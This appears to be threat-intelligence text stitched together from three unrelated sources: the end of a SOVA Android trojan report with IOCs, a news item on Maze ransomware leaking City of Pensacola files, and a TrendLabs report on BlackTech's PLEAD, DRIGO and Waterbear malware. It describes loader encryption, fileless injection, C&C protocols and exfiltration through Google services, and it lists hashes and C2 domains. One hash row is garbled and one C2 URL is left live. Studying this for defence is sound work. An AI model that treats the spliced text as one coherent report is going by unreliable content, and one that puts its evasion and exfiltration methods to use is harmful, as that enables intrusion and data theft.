Although there are several changes, the most interesting features added in SOVA v5 is the ransomware module, that was announced in the roadmap of September 2021. The aim of TAs is to encrypt the files inside the infected devices through an AES algorithm and renaming them with the extension “.enc.” The ransomware feature is quite interesting as it’s still not a common one in the Android banking trojans landscape. It strongly leverages the opportunity that has arisen in recent years, as mobile devices became for most people the central storage for personal and business data.
## Conclusions
With the discovery of SOVA v4 and SOVA v5, we uncovered new evidence about how TAs are constantly improving their malware and the C2 panel, honoring the published roadmap. Although the malware is still under development, it’s ready to carry on fraudulent activities at scale.
## Appendix 1: IOCs
| IoC | Description |
|------------------------------------------------|--------------------------------------------------|
| 0533968891354ac78b45c486600a7890 | SOVA v4 |
| ca559118f4605b0316a13b8cfa321f65 | SOVA v4 without CIS regions |
| socrersutagans.]site | C2 of SOVA v4 |
| omainwpatnlfq.]site | Server used to display fake website of targeted app |
| 74b8956dc35fd8a5eb2f7a5d313e60ca | SOVA v5 |
| satandemantenimiento.com | C2 of SOVA v5 |
| http://wecrvtbyutrcewwretyntrverfd.xyz | C2 of SOVA v5 |
|
# Maze Ransomware Releases Files Stolen from City of Pensacola
By Lawrence Abrams
December 24, 2019
The actors behind the Maze Ransomware have released 2GB of files that were allegedly stolen from the City of Pensacola during their ransomware attack. Earlier this month, the City of Pensacola was hit with a ransomware attack that impacted the city's email service, some phone service, and caused them to shut down their computer systems. It was later confirmed by BleepingComputer that they were attacked by the Maze Ransomware, who stated they stole data from the city before encrypting the network. They then demanded a $1 million ransom to decrypt their files.
Yesterday, the Maze actors released 2GB of the 32GB of files that they state they stole from the city before encrypting the network.
In a discussion with BleepingComputer, the Maze actors stated that they released the stolen data to prove to the media that they steal more than just a few files during a ransomware attack. "This is the fault of mass media who writes that we don't exfiltrate data more than a few files. We did not want to make a pressure on city, we still don't make it right now. We've shown that our intentions are real." When BleepingComputer asked if they intended to release the rest of the data, they responded with "It depends." BleepingComputer has also contacted the City of Pensacola but have not heard back as of yet.
**Related Articles:**
- Industrial Spy data extortion market gets into the ransomware game
- Quantum ransomware seen deployed in rapid network attacks
- Snap-on discloses data breach claimed by Conti ransomware gang
- Shutterfly discloses data breach after Conti ransomware attack
- Windows 11 KB5014019 breaks Trend Micro ransomware protection
**Data Exfiltration**
**Maze**
**Pensacola**
**Ransomware**
Lawrence Abrams is the owner and Editor in Chief of BleepingComputer.com. Lawrence's area of expertise includes Windows, malware removal, and computer forensics. Lawrence Abrams is a co-author of the Winternals Defragmentation, Recovery, and Administration Field Guide and the technical editor for Rootkits for Dummies.
|
# A TrendLabs Report
## Following the Trail of BlackTech’s Cyber Espionage Campaigns
**TrendLabs Security Intelligence Blog**
Lenart Bermejo, Razor Huang, and CH Lei
Threat Solution Team
June 2017
---
## PLEAD
### Delivery
PLEAD uses spear-phishing emails to deliver and install their backdoor, as either an attachment or links to cloud storage services. Some of the cloud storage accounts used to deliver PLEAD are also used as drop-off points for exfiltrated documents stolen by DRIGO.
### Variations in Installation Methods
PLEAD utilizes different tactics to load its main backdoor. Multiple layers of encryption are involved, and in some cases, the functional malware is resident in memory only. While most PLEAD and DRIGO variants utilize autorun registry as a persistence mechanism, some were seen to be installed as a service, such as a fake Windows Management Instrumentation (WMI) service.
Here are some of PLEAD’s installation methods we’ve observed in the wild:
- **Encrypted payload in PE resource section**
The malware is embedded into the resource of another executable file. The resource name is usually a popular file extension, such as AVI and BMP. The content of the resource is a binary blob that includes shellcode, malware binary, and encryption key. Once loaded, the blob will first be decrypted by RC4; the shellcode is responsible for loading and activating the malware.
- **3-Layer Encryption**
The malware is encoded into hexadecimal data, which acts as part of the source code of another executable file. The loader would first reconstruct the hexadecimal data into the correct order in the stack, and then decrypts it into an encryption key. RC4 is used to perform second decryption to get the shellcode, which would do the third-layer decryption and activate the malware.
- **Separate Malware**
The malware is encrypted into a standalone file. Another loader executable would load, decrypt, and launch the malware.
- **Fileless PLEAD**
PLEAD also used one of Hacking Team’s leaked exploits, CVE-2015-5119, and made a fileless version of their backdoor. This version uses an especially crafted .docx file containing the exploit. Once triggered, an instance of iexplore.exe will be launched where the PLEAD backdoor will be directly injected and executed in iexplore’s memory space without creating an actual physical copy of the file to disk.
PLEAD actors use a router scanner tool to scan for vulnerable routers, after which the attackers will enable the router’s VPN feature then register a machine as a virtual server. This virtual server will be used as either a C&C server or an HTTP server that delivers PLEAD malware to their targets. PLEAD also uses CVE-2017-7269, a buffer overflow vulnerability in Microsoft Internet Information Services (IIS) 6.0 to compromise the victim’s server. This is another way for them to establish a new C&C or HTTP server.
### Command and Control (C&C)
A remote access control tool provides the following functionality: sleep, listdir, upload, delete, and exec with the corresponding commands C, A, L, E, P, G, and D. Below is PLEAD’s C&C protocol:
```
(GET|POST)\s\/\d{4}\/\w\d+\.(js|asp|jpg|css)\sHTTP/\d\.\d
```
The content of the network packet is encoded by XOR.
Below is another PLEAD protocol; the request template is `/N%u.aspx?id=%u`, where the two %u are random numbers.
Some PLEAD variants do not have backdoor routines. Instead, they would download extra backdoor routines when they connect to the C&C server. This lets them easily adopt a new backdoor capability without redeploying the backdoor.
PLEAD’s download routine can be summarized into a response sequence of initial response, 1~many continue responses, and end response:
1. Initial response from C&C site. The HTTP response starts with “4c 09 00 00”, followed by a 4-byte, unsigned integer that indicates (content length – 8).
2. C&C site sends more data to backdoor beside the initial response. The HTTP response starts with “49 09 00 00”, followed by a 4-byte, unsigned integer which indicates (content length – 8).
3. C&C site responds to indicate there is no more data. The HTTP response starts with “4b 09 00 00”, followed by “00 00 00 00”.
## DRIGO
DRIGO mainly interacts with Google services, which we’ve seen using HTTPS traffic identical to normal Google API-generated traffic. Below is an example of the refresh token traffic generated by DRIGO:
**Requesting for Access Token:**
```
POST /o/oauth2/token HTTP/1.1
Host: accounts.google.com
User-Agent: Go 1.1 package http
Content-Length: 208
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
client_id={REMOVED}apps.googleusercontent.com&client_secret={REMOVED}&grant_type=refresh_token&refresh_token={REMOVED}
```
**Access Token Reply:**
```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Date: Thu, 14 Oct 2014 08:08:32 GMT
Content-Disposition: attachment; filename=”sample.txt”; filename*=UTF-8”sample.txt
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Alternate-Protocol: 443:quic
Transfer-Encoding: chunked
{
“access_token” : “{REMOVED}”,
“token_type” : “Bearer”,
“expires_in” : 3600
}
```
### Capabilities
**PLEAD Backdoor**
One of the backdoor’s directories of interest is the “Recent” directory. Exfiltration of documents is done via POST HTTP requests. The same is done with other information the backdoor gathers from its victim. During exfiltration, PLEAD will use RC4 to encrypt the information being sent back to the attackers.
**DRIGO**
There are two types of DRIGO used by the campaign. Both are compiled using GOLANG, which is designed to easily interact with Google services:
1. **GDrive Uploader** – Used to exfiltrate document files by uploading them to an attacker-owned Google Drive. This is done by using a refresh token that is almost the equivalent of a user credential and requesting an access token.
2. **GSMTP Mailer** – Makes use of Gmail SMTP services to exfiltrate information. It contains a pre-constructed MIME header; the sender and recipient email addresses are hardcoded in the malware. Instead of a password, which is needed to log in to the SMTP server, it uses an access token.
## Shrouded Crossbow
Shrouded Crossbow uses three main tools based on the BIFROST backdoor: BIFROSE, the campaign’s version of BIFROST, as well as KIVARS, and XBOW, both of which were developed by the group.
### BIFROSE
BIFROSE, installed traditionally as an executable, is one of the earliest backdoors Shrouded Crossbow used. Below are some differences in the callback traffic of Windows and Unix versions of BIFROSE:
**Windows:**
```
<victim IP>|default_zz|<hostname>|<username>|10.0.3||1|-1|0|1868|1|1|0|0|982bc1da|C:\Documents and Settings\Administrator\Recent|C:\Documents and Settings\Administrator\Desktop|C:\Documents and Settings\Administrator\My Documents|US|00000409|
```
**Unix:**
```
<victim IP>|unix|<hostname>|<username>|5.0.0.0|0|1|1|0|575|0|0|0|0|None||||
```
### KIVARS
KIVARS has a smaller configuration consisting of mutexes and C&C server information encrypted inside the loader component, which is then passed to the main backdoor during its execution. KIVARS is broken into multiple components comprising a loader DLL, which is installed as a service DLL; and an encrypted file, which is the main backdoor that will be loaded into the loader’s memory and executed after decryption.
Below is the callback traffic of KIVARS:
```
<victim IP>|default_zz|<hostname>|<username>|2.0.0a||1|-1|0|2600|1|1|0|0|982bc1da|C:\Documents and Settings\Administrator\Recent|C:\Documents and Settings\Administrator\Desktop|C:\Documents and Settings\Administrator\My Documents|US|00000409|
```
### XBOW
XBOW’s capabilities are based on BIFROST, and by extension, KIVARS. XBOW uses a distinctive mutex format:
```
zhugeliannu{1 byte possible project version}{builder identity}{compile date}
```
The Shrouded Crossbow campaign got its name from “zhugeliannu”.
## Waterbear
WATERBEAR employs a modular approach. A loader component executable will connect to the C&C server to download the main backdoor and load it in memory. A later version of this malware appeared and used patched server applications as its loader component, while the main backdoor is either loaded from an encrypted file or downloaded from the C&C server. Waterbear uses HTTP CONNECT tunneling for its C&C communication.
Below are the applications we found to have been abused and modified by the attackers to act as their loader components:
- Citrix XenApp IMA Secure Service (IMAAdvanceSrv.exe)
- EMC NetWorker (nsrexecd.exe)
- HP System Management Homepage (vcagent.exe)
- IBM BigFix Client (BESClient.exe)
- VMware Tools (vmtoolsd.exe)
## Indicators of Compromise (IoCs)
### Hashes related to PLEAD (SHA256)
| SHA256 | Detection |
|--------|-----------|
| 282e33031c6f4f84616a8ee0ed9a02812cf4b224348dd38a7fb567ff0a49c720 | TROJ_PLEADLDR.ZTEE-A |
| 48FDC29E7F47E5D38C88A89667ED85740628BF4F4CE95045019F7EBFEB4BBB5C | TROJ_PLEADLDR.ZTEA-A |
| 4b46e0d2eea8bb75bcdcd926e108f95688b3e24ffbd181519a4917ab102d41c7 | TROJ_PLEAD.ZTDG-A |
| f33ff517d9250afca6cf6ab90ab2eb6bfcbb3b93ff49e7280bf1a0cf667d2bba | TROJ_PLEAD.ZTCJ |
| 3411b5170fefbba198b1a5c3afa25e3417c683e994dc91a50e34f1234ec90ec5 | TROJ_PLEAD.ZTCG-A |
| b73c453126451c833fcb2c1e00e4f1291f17f6a3ac2c8ff4178e1091f5fc01ef | BKDR_PLEAD.ZTED-A |
| c303bab9e2655739ee85adf92cc9e9c9b1e4371dddeb9270cbbb81f34f4f96b9 | BKDR_PLEAD.ZTDK-B |
| 6a49771dbb9830e1bdba45137c3a1a22d7964df26e02c715dd6e606f8da4e275 | BKDR_PLEAD.ZTDK-A |
| 3a24c2c7b3b54a799735e9e2db9fd648af34a18598b7c00b1b6e0d750f8529a9 | BKDR_PLEAD.ZTDC-A |
| 6ccfc6a6c32e1de166d250d25d2d503945d914ab03e4774cb6f499b668a9c5dc | BKDR_PLEAD.ZTDA-A |
| 608bc56bf511c203bb777ee57c9c919e2d320025d3595f3aba1fcfe226265189 | BKDR_PLEAD.ZTCL-A |
| bbc4ff915584218c799878dfedfd8f2457b7d9e89026e0c1a425cf2a679aa81a | BKDR_PLEAD.ZTCL-A |
| e386f12b13bab468385730ff90897f05cf72258365554d5038226b5fa4caf588 | BKDR_PLEAD.ZTCL-A |
| efdf0b8da2047d16be281a1cfc1fc8f2c86c1269c5ce027d775112ff02f44f04 | BKDR_PLEAD.ZTCG-BD |
| cd24fddfc8145754c9843117764da4d17aa820920ff9e82499385057ada3151c | BKDR_PLEAD.ZTCG-BD |
| 11f61d1756a781cd1968ebebb81ec1996324489d7cddd8d054b4ec00f8e1bf7e | BKDR_PLEAD.ZTCG |
| cc1b0da22402c52a6989e266fdf47bc60344d5cc08e760373bf13369952e02e6 | BKDR_PLEAD.ZTCG |
| 2f845201fdc66da421bbc5265ed836080c5c16b3e51ce8c7b859d1b4d343fec5 | BKDR_PLEAD.ZTCC-A |
| 658601a07943d36b37d3b3ec55d687d7753ddb278bf414ae91a64c6a3520777e | BKDR_PLEAD.ZTCC-A |
| 9866ecef636d52fd0734039517bad855c7f8c6f78a4d890b9d8008504bd8a703 | BKDR_PLEAD.ZTCC-A |
| 31d8e15310d1d2f347bdca5f4ef8bdf621722a807e98ec1d7b746843eb653041 | BKDR_PLEAD.ZTCC-A |
| b6be9c10b9a20f969993027aee420076281d7a0c9935b9e34a714bcc9fc9e32c | BKDR_PLEAD.ZTCC-A |
| 9e9841b799956dfae0d88881100d45f3b49641ce32223a505246cb62b563e180 | BKDR_PLEAD.ZTBL-A |
| 3fba692ab1e78a863dba735d074846869c84ff0d6bf091abcd34d2d546411a45 | BKDR_PLEAD.ZTBH-A |
| 4967a8b0dd5627ea6143d71f6e3598583aa475282200b8fdba0b7d92db051603 | BKDR_PLEAD.ZTBE-IO |
| fc83c9ebb49c190bf3044bac7c79297273ea00ef3843b48b7940a96813829fe5 | BKDR_PLEAD.ZTBE-A |
| f88c49c14f1f788c6edd50e4c94af7b1a4c685e35554661ab521cc0501c017e9 | BKDR_PLEAD.ZJED-A |
| 6891aa78524e442f4dda66dff51db9798e1f92e6fefcdf21eb870b05b0293134 | BKDR_PLEAD.SMZTDK-C |
| 5361129e23dfadacc512297a28ab38e391667faf12ef3867b891deefb330e85e | BKDR_PLEAD.SMZTDK-A |
| 1fa7cbe57eedea0ebc8eb37b91e7536c07be7da7775a6c01e5b14489387b9ca8 | BKDR_PLEAD.SMZTDK-A |
| 20f7f367f9cb8beca7ce1ba980fafa870863245f27fea48b971859a8cb47eb09 | BKDR_PLEAD.SMZTDK-A |
| 96306202b0c4495cf93e805e9185ea6f2626650d6132a98a8f097f8c6a424a33 | BKDR_PLEAD.SMZTDK-A |
| 4842c5403372ead4fd28a26f2e1dfc139541e71bcf574e62c7c18b9cfc406674 | BKDR_PLEAD.SMZTDK-A |
| dcb5c350af76c590002a8ea00b01d862b4d89cccbec3908bfe92fdf25eaa6ea4 | BKDR_PLEAD.SMZTDK-A |
| f16befd79b7f8ffdaf934ef337a91a5f1dc6da54c4b2bee5fe7a0eb38e8af39e | BKDR_PLEAD.SMZTDK-A |
| 2404f1d744722f47fc97dbc09a29011fa77c2de024fe0fa88fc8ec5aafbeb45c | BKDR_PLEAD.SMZTDK-A |
| 75a3b0f83b71a9c8470400b89b1c4dc18caca41de9a8c0dd31016f136cc4182b | BKDR_PLEAD.SMZTCK |
| 36bbdcc636b3501093f9c29226fc49a36db035fd0ed96522fb8aab6800981eee | BKDR_PLEAD.SMZTCK |
| b046b2e2569636c2fc3683a0da8cfad25ff47bc304145be0f282a969c7397ae8 | BKDR_PLEAD.SMZTCK |
| 20b8c2d5bebd51d058d15ce1bba91fb5e0fc7e51cb2bd96a7869ca2ff5f6e663 | BKDR_PLEAD.SMZTCK |
| 351d273d3df3fd49ec3adf4ff7e91acc528cbdea92b178e3676687d59d682dae | BKDR_PLEAD.SMZTCK |
| 8d348f63b0ef309d70d6a849ee0bafcbbd2c4567b1c02c8686ef7ecab6b77158 | BKDR_PLEAD.SMZTCK |
| 5543662606d0e6a27ba65969f47036aec531ae5b9c42036c1e49e65dc8377a81 | BKDR_PLEAD.SMZTCK |
| 102f08bacac8758e31a24e2f5c708861115bf1ad6d61faaaba0cd5bf43de8c21 | BKDR_PLEAD.SMZTCK |
### Hashes related to DRIGO (SHA256)
| SHA256 | Detection |
|--------|-----------|
| 00A1068645DBE982A9AA95E7B8202A588989CD37DE2FA1B344ABBC0102C27D05 | TSPY_DRIGO.ZTDE-A |
| ECDBAB980CC76CC9BEA434CBA069852B4A99CDFE044C1B9FC4DF8D6D8887DDF8 | TSPY_DRIGO.ZTDE-A |
| 766689C80887668F36486CA38C4A2526588AB7A3E5CA920BD2B4ADD162DE8E25 | TSPY_DRIGO.ZTCK-A |
| 5dc97a61bf0fd09e1471b667b89f1c008fe4f81d837091a4b67ba467d4510d69 | TSPY_DRIGO.ZTCK-A |
| 15D9DB2C90F56CD02BE38E7088DB8EC00FC603508E | C888B4B85D60D970966585 | TSPY_DRIGO.ZTCK-A |
| 61eb2320c388ddd6f122e90a49534a32543941da8d7b219bf12acf90dc0c71fc | TSPY_DRIGO.ZTCK-A |
| FF52027D9F951E6EC91D752057281973AC3FF1F1A7543210AD932B44BC2FE364 | TSPY_DRIGO.ZTCJ-A |
### C&C servers associated with PLEAD
- 211[.]72[.]242[.]120
- antivirsscan[.]strangled[.]net
- appinfo[.]fairuse[.]org
- appinfo[.]xpresit[.]net
- babystats[.]dnset[.]com
- bfyl[.]pixarworks[.]com
- blogtw[.]tk
- carcolors[.]effers[.]com
- carsails[.]allowed[.]org
- conderpay[.]etowns[.]net
- csbc[.]itaiwans[.]com
- dcns[.]soniceducation[.]com
- docsedit[.]cleansite[.]us
- ediary[.]ezua[.]com
- epayplus[.]flnet[.]org
- facebook[.]itsaol[.]com
- fatgirls[.]fatdiary[.]org
- foodinfo[.]serverpit[.]com
- httpstw[.]tk
- iavrias[.]playop[.]net
- icst[.]ygto[.]com
- idropx[.]serverpit[.]com
- iebay[.]serverpit[.]com
- imusic[.]getce[.]com
- inewdays[.]csproject[.]org
- ipcheck[.]ignorelist[.]com
- iphone7[.]pwnz[.]org
- iphone7s[.]effers[.]com
- iphone7s[.]homenet[.]org
- ipserver[.]suroot[.]com
- itaiwans[.]com
- jeff[.]jetos[.]com
- job[.]jobical[.]com
- longdays[.]csproject[.]org
- mathethic[.]ezua[.]com
- microsfot[.]ikwb[.]com
- microsoft[.]myddns[.]com
- mirdc[.]happyforever[.]com
- momego[.]wesogo[.]com
- mozila[.]strangled[.]net
- oop[.]jumpingcrab[.]com
- opensslv3[.]csproject[.]org
- opensslv971[.]ssl443[.]org
- paperspot[.]wikaba[.]com
- pictures[.]jungleheart[.]com
- pixtail[.]serverpit[.]com
- rdec[.]compress[.]to
- savecars[.]dnset[.]com
- search[.]mynetav[.]net
- seting[.]herbalsolo[.]com
- sexnet[.]homenet[.]org
- spotify[.]effers[.]com
- sslmaker[.]ssl443[.]org
- timehigh[.]ddns[.]info
- tomomo[.]wesogo[.]com
- twcert[.]compress[.]to
- twnic[.]ignorelist[.]com
- twnicsi[.]ignorelist[.]com
- uipisa[.]ssl443[.]org
- wendy[.]uberleet[.]com
- wmxhao[.]fasionwiki[.]com
### Hashes related to Shrouded Crossbow (SHA256)
| SHA256 | Detection Name |
|--------|----------------|
| 734e5972ab5ac1e9bc5470c666a55e0d2bd57c4e2ea2da11dc9bf56fb2ea6f23 | TSPY_KEYLOGGER.XZI |
| 7f4ff9fc37cd0f67a448645bbebb8b605eb3887a2c5306fbb2c2600122f10496 | TROJ_KIVARSLDR.SMZTDG-A |
| 49605802f507d83849354aced141fcf3b590029d136c6c239a23e1f30e21abff | TROJ_KIVARSLDR.SMZTDG-A |
| d8f964fa4fd7851cad87c38ce48c254905899f19c08216b43c7612f9f664a7c5 | TROJ_KIVARSLDR.SMZTDG-A |
| 5f6f44e18ce24c296231eee0a1d658f2d52cbe448d67237a90cfd2293b2d5450 | TROJ64_KIVLDRARS.ZTEE-A |
| 4956ff277de19a01613f8c0c91ba9626cb0894c12d5d1fd9bfbad59b7ee1db11 | BKDR64_KIVARS.ZTEE-A |
| d1de5db1d50532fecfd3a4bf5382c97892deae8a70ccdca71eca326f3940c616 | TROJ_KIVARSLDR.ZTDL-A |
| 08d6ce9c4298f61635057bdba5eb663b4eabd36358467a9c89a40c30c1a40470 | TROJ_KIVARSLDR.ZTDL-A |
| f75b6cab25a011441617f47537c19d3d0b5babddb4aa293181080a2bc81938b1 | BKDR_KIVARS.ZTDL-A |
| 982fa8a6cff82966f6badb5102c47b341b0519b34589bf9647529814c6c3f423 | BKDR_KIVARS.ZTDL-A |
| 9f1b1c7588f84e0d759cc8d989532176f1133b79ade038d90ab814830118d9a8 | TROJ64_KIVARS.ZTDK-A |
| 0f06615993c71d8e5e1c95a957c382d722f321f4b11258e91b190f909bd71155 | TROJ64_KIVARS.ZTDK-A |
| dce93f0f5689e14e6ac1515c7f8b9445fac71e4881228c5d89fd1c6ead116f1e | BKDR64_KIVARSENC.ZTDK-A |
| ed535b36b021078aaa2b5818ea40f3d598a5b5e311b9ff486d6740818429383f | BKDR64_KIVARSENC.ZTDK-B |
| 1e31d046e039d27dbaa843c625827c6c5096c1f5d75810acfaf8c28515e7644c | TROJ_KIVARSLDR.ZTDJ-A |
| 8c18ee0a0e81f5b07ba2bb970455a9c438f8184c866b68014f4f25b032680900 | TROJ64_KIVARSLDR.ZTDH-A |
| 7db49a91d5da69e6e7fb2e58cdc9e08d89ea0abde01f41aa7ab44d317892243e | TROJ64_KIVARSLDR.ZTDH-A |
| a0483604dcec2673edc26ea1ac1cb72687a004b2574a7c7d4084da13af3ea6bf | BKDR_KIVARSLDR.ZTDG-A |
| 5f3197c5b00608a18ab6985b2c8460f4a3f977a2394dbd5eff2279c0dd5c65fb | BKDR_KIVARSEENC.ZTDG-E |
| 4f7b17602909df2a6887fdbff41f854449705bc17ddb0fef5e3fa3d33017cd1c | BKDR_KIVARS.ZTDG-A |
| fe23b755e8a59c66d957d03df4d1cb0947edaee01325f3a6fd78b20f67fd2edc | BKDR_KIVARSEENC.ZTDG-E |
| 1a236c74cbf286458fc93e92fd5be859f71525e2c8eef5cabf2fc1e69aa30bfe | BKDR_KIVARS.ZTDG-A |
| 04fb76085768af92644511ac206cbd1f083ece675cc2516430a2f2dd9faeca77 | BKDR_KIVARSLDR.ZTDG-A |
| 8c39f6f5d58d57fbbdde3c816b0d2247d7204bcc7f51d48ce30c33c01a95378d | BKDR_KIVARSLDR.ZTD-A |
| 409cd490feb40d08eb33808b78d52c00e1722eee163b60635df6c6fe2c43c230 | BKDR_KIVARSLDR.ZTDG-A |
| 71e03e8ba79dbfdcb3aeae0252165fb12ae2928b03b6f5d74353fac1a56d9a65 | BKDR_KIVARSEENC.ZTDG-E |
| 956e7408a25a02f93c62d2b9f4f1f249e64571b9e9f94fae6f5631699adc82d3 | BKDR_KIVARS.ZTDG-A |
| dd3676f478ee6f814077a12302d38426760b0701bb629f413f7bf2ec71319db5 | TROJ_KIVARSLDR.SMZTDG-A |
| 8a41feb71231d244be0639f5361d2781862a461a33ff882c401e3821cfe53ecf | TROJ_KIVARSLDR.ZTDG-A |
| f7385ac953c91eab7a46041963270e08d0785b31df177965803d153a7ea51e7f | TROJ_BIFROSLDR.SMZTDG-A |
| 84a8f7acb68433d3eb47f3c994fa559eacb46da7e9f90452dd4540935eacad9d | TROJ_KIVARSLDR.ZTDG-D |
| e86664bb5c5c9a246ddfaef9f8fb4750687877c5cd9225d128904bb29706333b | BKDR_KIVARSENC.ZTDG-D |
| 37217d2dd0f433bf1b607a7ada5a4b5d3036e0eccb677f53c6ba9f0e8039a094 | TROJ_KIVARSLDR.ZTDG-D |
| 37758c795bb0abcc2daff888c79ce4704a3f6a1f75c0427c47a3106be20ee70d | BKDR_KIVARSENC.ZTDG-D |
| 0126a0a6a82f566e5951216d26b307ea68d65519bc34641ec041e155efa4a449 | BKDR_KIVARSENC.ZTDG-D |
| 2f21b25c633895bd675fb7f5d179fb02c3a25cca346e6d2df7e54e926292a085 | BKDR_KIVARSENC.ZTDC-B |
| 5f61f8c2f7d1a0fa74860744d5f93afea98da4d79b5b47ecceaf2ac5012760e6 | TROJ_KIVARSLDR.ZTDG-C |
| b2cdbf290c5837ab0f14377d5eabdefa4bdac1af8eba7963300c8774abbf6da7 | TROJ_KIVARSLDR.SMZTDG-C |
| d35317ac4a4598ae08aa5aa21c019889bee2766675a93af877b021fbc05b6579 | TROJ_KIVARSLDR.SMZTDG-C |
| b2199104ec12896e86eb9345f479f709dc5a25fd8a870bc1140c1efc848ee83e | TROJ_KIVARSLDR.SMZTDG-D |
| 8ff4204631e42310758693a5c84e5d500a3fa267f8d59d5ca05d5efef8cfbec1 | BKDR_KIVARS.SMV0 |
| a3fffa276089179837e30f8c2a1fcc917c03410762bda2882c61a8652b001613 | BKDR_KIVARS.SMV0 |
| 18c7ad0ded9ea0669ebc70759437d858f668ec8ba2b000125eb8cf32c29ade4e | BKDR_KIVARS.SMV0 |
| d3678cd9744b3aedeba23a03a178be5b82d5f8059a86f816007789a9dd06dc7d | BKDR_BIFROSE.ZTDG-A |
| bb2a1f68faa79132f4630014c3487c891b5db8c599f05c83eabe580691920b4f | TROJ_KIVARSDRP.ZTDG-A |
| 43552319fe32b8fe7f220edb83cacb78bc4aa8b6ed41692187c17f43623251d6 | TROJ_KIVARSDRP.ZTDG-AA |
| 1d457cb4f0cf4462d62baf97149392841bb62ba01d59745d95a2db32824750d3 | BKDR_KIVARSENC.ZTDG-A |
| c1faa79a33beb8eed1583e395fb725e0758a17b51ad363976ffe7d56b990d880 | BKDR64_KIVARSENC.ZTDG-A |
| feaa645ef890c200a3122006c627beb05ae3630b1b660de86a84ae74931a86a8 | TROJ64_KIVARSLDR.ZTDG-B |
| cfa0b9087736219fb3b64305e3cab3f4a3a1d03666cdad3aa9ebf2978370dfa6 | BKDR64_KIVARSENC.ZTDG-A |
| ea7608b00dc9bbafc1c7175c6c49d9e8a865ffaf68bcb491ceb5933ffa98ef63 | TROJ64_KIVARSLDR.ZTDG-B |
| d7fe24a0a170744e4742b52ec8f575a7aa9c87d85155b4fe10ba9774cd76bb07 | TROJ64_KIVARSLDR.ZLDR-A |
| 3732e2298f142e49a8f9f281a141930bfde4d4b029837ba14be3be89c742db15 | TROJ64_KIVARSLDR.ZTDG-A |
| 8bde3f71575aa0d5f5a095d9d0ea10eceadba38be888e10d3ca3776f7b361fe7 | TSPY_KEYLOGGER.TNE |
| 64f9bedce0ee8d4cd209a60501b47ba28f1e06723600f0ee8b52777b2a8be820 | TSPY_KEYLOGGER.TNE |
| 7c270ef52265755608d6cb76d57fa1a1b215e7580edc34b503dba4aeff4f56b9 | TROJ_KEYLOGGER.FH |
| c4b3b0a7378bfc3824d4178fd7fb29475c42ab874d69abdfb4898d0bcd4f8ce1 | TSPY_KEYLOG.YYMP |
| c5af3047fec3dd58dbb2190de3dbf0f73f7b3dcb5f10eace367a7a1ca1d1b459 | TSPY_KEYLOGGER.TNE |
| 192db304eaad9e3bf0eb8e4e0e79bbed86be454f0880ce442b6c4b24f260b757 | TSPY_KEYLOG.YYMJ |
### Hashes related to Waterbear (SHA256)
| SHA256 | Detection Name |
|--------|----------------|
| 6566a8c1b8b73f10205b6b1e8757cee8489e8f756e4d0ad37a314f2a31a808bb | BKDR_EYEGENT.SM |
| fc55d58b0f2d19f5bffe8acc5a14fb13584ebbc2b471d37bf144640b789e84ba | BKDR_EYEGENT.SM |
| 264bd3f85e5bb5724fee51243a370b8505cf687d8c162d823054ebc65d2a8446 | BKDR_EYEGENT.SM |
| 47ac80d4e40c6fec545d4dd4b0de411e85dc539868c0a5beecb9a508d47af8dd | BKDR_WATERBEAR.SMZTDD |
| e9096202f9bf355926bf7eec3477c64a8b441793a404e92a62ca50a5f9fef88e | TROJ_AGENT.BDHN |
| 00e51de5bd9f741d6679847d1d42c459c5e2cd44e5cbc4df235aaf3add529182 | TROJ_AGENT.FKMS |
| 3b1e67e0e86d912d7bc6dee5b0f801260350e8ce831c93c3e9cfe5a39e766f41 | BKDR_EYEGENT.SM |
| 6a0af71ac94704606b58438a15e1d0913ccf59479874282afc02886aee969e1d | TROJ_FAKEMS.BV |
| 9f5329196df7d1484a9cb5b36f5ef73539582e4a4e0751c4688e70582ebed368 | BKDR_EYEGENT.SM |
| 8373e62a42780b306666957ed68db32cb557e724bc819b36c8700c049ce28435 | BKDR_EYEGENT.SM |
| 2aa8d60ed1e81317bd5419a7669ad0d6ff432f76e445aa2a3183d0083fbc5bc2 | BKDR_EYEGENT.SM |
| e85946c4794043a6cb6da650afd90455a1233cfb20b52bf1fdba1d6ffc453af1 | BKDR_EYEGENT.ZZXX |
| 940b1c2203e06ca3ff379c602dfb99addd766cff638d3b2d9ac64525131ced57 | BKDR_EYEGENT.SM |
| 574437eebd49f06995cdef874408661b260a23a679df3f908acbef374d54b913 | BKDR_EYEGENT.SM |
| bac5e805208044da8f9988d2c92fdcbf36a9d2403ca49b83367e8a25ef4740d0 | BKDR_EYEGENT.SM |
| 8d613f5690c226f017dc32f8a9ff15a0551f593bd43b08c00fa17c07e8af19e7 | BKDR_EYEGENT.SM |
| 01d4c1975ee01b42fcbe7e7571a2e43394e31c26874f570b8670aed59fcd7f77 | TROJ_FAKEMS.ZZXX |
| 60fd08fdf8837ff076d29c8e30df10c8a74567e185406140f5883b1ef2fdb548 | BKDR_EYEGENT.SM |
| 8ffaf62582616cf11f6a319735ba029fbdd187de410d46c2d47edd7773ea54c6 | BKDR_EYEGENT.ZTCF-A |
| a601dcc7fa2e6564851cf504a230d6a7e40a48831c6124acc26af42ef24034f9 | BKDR_EYEGENT.SM |
| b6356bcfee09b2068190f6f51902771c7699cdd3110d9082a02c1c53818f142a | TROJ_AGENT.ZTBI-A |
| 4fbbcd0cf3f97a215f0780d7cd9bd87435d0e6e2e095c1f95412ebf477e25de0 | BKDR_EYEGENT.SM |
| d1cbd783f3d383ee2ffb3109cbc5b4a9d58bdc6af90b6f7bd898302007a0e403 | BKDR_EYEGENT.SM |
| 28ed670dfca9f8c440e5d4029c4f5a9b1d671e2995d182150aea1db286c44bed | BKDR_EYEGENT.ZZXX |
### C&C servers associated with Waterbear
- dvr[.]narllab[.]com
- dy[.]skypetw[.]com
- emailcrypt[.]mobwork[.]net
- emailgov[.]mobwork[.]net
- faq[.]narllab[.]com
- flajp[.]yahoomit[.]com
- forest[.]itaiwans[.]com
- ftpfr[.]narllab[.]com
- gmail[.]faceboktw[.]com
- login[.]narllab[.]com
- menu[.]skypetw[.]com
- mus[.]yahoomit[.]com
- norton[.]faceboktw[.]com
- ntt[.]capital-db[.]com
- pccus[.]narllab[.]com
- pus[.]skypetw[.]com
